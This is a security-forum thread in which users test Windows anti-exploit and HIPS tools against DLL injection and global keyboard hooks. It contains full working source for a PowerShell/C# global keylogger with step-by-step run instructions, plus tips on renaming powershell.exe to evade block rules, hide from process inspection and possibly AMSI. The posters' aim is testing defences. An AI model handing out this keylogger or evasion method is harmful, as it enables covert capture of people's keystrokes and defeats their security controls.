DLL Injection Methods - Test Apps (Discussion)

This works because of the following underlined item:

Now try something a bit more advanced:

https://0x00sec.org/t/reflective-dll-injection/3080

 

Thanks for the heads up on this alternative Reflective DLL method and tool.

Interesting to note that this particular tool that you linked to actually bypassed the EAF/EAF+ mitigation which had stopped the previous Reflective DLL method. That actually surprised me. But luckily MemProtect stopped this prior to injection stage.

 

@WildByDesign , here's another WDEG mitigation to check out.

Global hook setting can be used for DLL injection e.g. global keylogging. WDEG has a mitigation, disable extension points, that supposedly detects Windows hook setting for DLL injection into all processes. I am curious to see how effective it is.

What I do know for sure is the WDEG mitigation will not detect global hook setting in a system .dll via .Net as noted here: https://www.wilderssecurity.com/thr...ll-script-blocking.395997/page-7#post-2727829 .

 

So you can't use Hyper-V to test a tool like SpyShelter? Doesn't it work the same as VirtualBox or VMware?

To be clear, so you're saying you can allow certain tools to install a global hook into explorer.exe, while blocking all other tools from injecting code?

 

Yes, you are right. SpyShelter would work fine in Hyper-V just as most security software

Yes, that is correct. You've got that type of granular control with MemProtect. It would actually be quite impressive to have a ruleset to control memory operations over explorer.exe, svchost.exe, lsass.exe, etc. but it would be a lot of work initially get the legitimate operations from initial logging. I may look into this soon because I am curious.

 

You can also do this with most HIPS since the SetWindowsHookEx is a separate mitigation(file based) from the process modification mitigation(app based).

 

Yes that is obvious, but the point is that MemProtect doesn't actually care about which code injection method is being used, it just auto-blocks all memory operations, I believe a tool like Sandboxie also does this. While HIPS can only block known code injection methods.

OK cool, let me know how it works out.

 

A global keylogger doesn't perform code injection.

Test MemProtect as follows. Use the keylogger built into the Surfright/Sophos HMP-A test tool. See if MemProtect blocks or impedes in any way the keystroke capture by the keylogger.

 

Actually it does, since global hooking is just another code injection method.

 

We might be "splitting hairs" here. It will hook in most cases, ntdll.dll which is a common .dll loaded into every process at startup time.

 

What do you mean? It's simply not correct what you're saying. Most keyloggers either install a global hook or directly record keyboard input, and both can be easily stopped via keystroke encryption, or you can simply block the hooking part. See number 5 in the first link, and in the second you can see methods that are often being used:

https://www.endgame.com/blog/techni...-technical-survey-common-and-trending-process
http://www.snapfiles.com/get/antikeyloggertester.html

 

Since you persist, below is the code I use for a PowerShell based .Net global keylogger. Copy the code and save it as xxxxxxx.ps1. Run it. It will create a log file in the directory it is run from that records the keystrokes captured. It will hook every process that you execute. See if your security solution detects it.

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger
{

public static class Program
{
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const string logFileName = "log.txt";
private static StreamWriter logFile;
private static HookProc hookProc = HookCallback;
private static IntPtr hookId = IntPtr.Zero;

public static void Main()
{
logFile = File.AppendText(logFileName);
logFile.AutoFlush = true;
hookId = SetHook(hookProc);
Application.Run();
UnhookWindowsHookEx(hookId);
}

private static IntPtr SetHook(HookProc hookProc)
{
IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
}

private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
logFile.WriteLine((Keys)vkCode);
}
return CallNextHookEx(hookId, nCode, wParam, lParam);
}

[DllImport("user32.dll")]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll")]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll")]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
}
}

"@ -ReferencedAssemblies System.Windows.Forms
[KeyLogger.Program]::Main();

 

Guess will have to run this thing thru some paces. Thanks for the test @itman.

 

This has got my curiosity on a few levels since I know how difficult it can be to block .NET things in memory. Also, I would like to try to learn some more command line logging abilities as well from this. I've got a couple of basic questions for you regarding this script specifically if you have a moment, I appreciate your time.

Does Constrained Language Mode block this at all?
Does ClrGuard (https://github.com/endgameinc/ClrGuard) hinder/block this in any way?

 

Yes. You will have to disable it to test. Or, just add Powershell commands to the code to re-enable Full Language mode.
https://twitter.com/mattifestation/status/921509830644269062

Don't see how it would based on this:

 

This is getting a bit silly. You said that global keyloggers don't perform code injection, which is incorrect. And now for some reason you mention a PowerShell based .Net global keylogger which seems to make use of global hooking, which is in fact a form of DLL injection, so what exactly is your point?

 

Doesn't work on my 8.1 systems. You didn't state compatibility with which O/S platforms

 

-EDIT- Revised 3/29 to reflect correct script run procedure.

I ran it on Win 10 1709, so it should run fine on Win 8.1. The problem could be a number of things. So I'll address them one by one.

First, the script will not run if Powershell is set to "Constrained Language" mode; either by registry hack or if AppLocker is deployed. So the registry value, if used, must be set to "1".

I recoded the script when I posted it in the forum. Suspect I might have hosed the placement of one of those "{ or }" symbols. So I am attaching the original script as a .txt file. Just rename to .ps1 and use that for testing.

Next, open up a command prompt window. It doesn't have to be at admin level. Enter the following commands:

cd C:\xxxxxxx

where xxxxxx is the directory where you stored the .ps1 keylogger script
​

powershell.exe -ExecutionPolicy Bypass -file xxxxxxx.ps1

where xxxxxx is the name of the powershell script you created. Also I believe if you want to specify the full path for the script, the name must be enclosed with quote marks, e.g. "C:\Temp\xxxxxxx.ps1"
​

At this point, the keylogger script should be running w/o issue from the command prompt. Open up Process Explorer/Hacker and you will observe PowerShell running under cmd.exe under explorer.exe. Once done testing, just kill the powershell.exe instance running.

Finally the keylogger creates in the same directory where run from, a file named log.txt as shown below:

 

Running scripts is disabled on this system.

I shutoff NVT apps temporarily but apparently I have another script blocking (likely Group Policy) enforced I long put out of mind.

Time to backtrack and see where this other nifty PS blocker is at.

Thanks for the new cleaned up PS test script. It's got my curiosity now.

 

You might have applied the registry hack to set PS lockdown policy to 4, so that you are running PS in constrained mode.

 

@EASTER, @shmu26, and others. I revised the prior posted procedure for running the script. I apologize for the confusion. I had not run the script for some time and did not store any execution notes when I previously did so.

No special PowerShell commands need to be executed for the script to run other than ensuring Constrained Language mode is not in effect. The problem is the script needs to be run with the "-file" parameter.

The output log file containing captured keystrokes was not being created because the author's C code assumed you would do a cd command prior to running the script.

 

Thanks @itman for the amended details. Explains it a bit better why it wasn't doing any dance over here.

Am about to bring a new 10 system online starting today (prep up time) but will definitely re-run the PS script with -file parameter as suggested on 8.1 again.

EDIT: Hot Dog- She's dancing!
Vertical alignments LoL

 

Here's another "tidbit" some may not know.

Copy your existing powershell.exe ver. from C:\Windows\System32\WindowsPowerShell\v1.0 directory to the directory where you stored the xxxxxx.ps1 script. Rename - I chose logger.exe. Now repeat the above execution procedure but instead of running powershell.exe, run logger.exe. You will observe that it runs just file.

This accomplishes the following:

1. Bypasses any specific security block rules preventing powershell.exe execution from C:\Windows\System32\WindowsPowerShell\v1.0 directory. Or, for generic *powershell.exe startup in security solutions that allow that.

2. The task is now running not named as powershell.exe which would make visual task examination more difficult. Better, name it to something that normally runs under explorer.exe. Best, something that normally runs from the command shell under explorer.exe.

-EDIT-
3. Suspect renamed powershell.exe script execution will bypass Win 8.1/10 AMSI checking since it is monitoring powershell.exe script execution.

Attacker could also just download a renamed powershell.exe ver. 2.0 if no ver. of Powershell existed on the target device.

 

How simple. And how very interesting. Microsoft is always been loose (and still is) where it concerns the term they are most famous for mastering (in my book), as I used to say way back on 98, Windows simply put is the best of a glorified COPY MACHINE anyone could ever want.

You just turn the thing on and it gets immediately busy making and storing duplicates of all sorts of operations-functions etc. and many if not most all of their executables can be copied someplace else and run.

The danger is just as you suggest @itman and is been there since it's first inception. That is a user or bad actor can take any one of a number of executable files and simply move OR COPY and rename the thing and it's all set to fire up and carry out commands, good or bad.

This is where specialized security software fills in the gap so to speak, and at the kernel level. And many are now exceptionally very good at covering Windows limitations

 

Once you have malware copying and pasting and renaming files on your system, your goose is cooked anyway. Your system is pwned.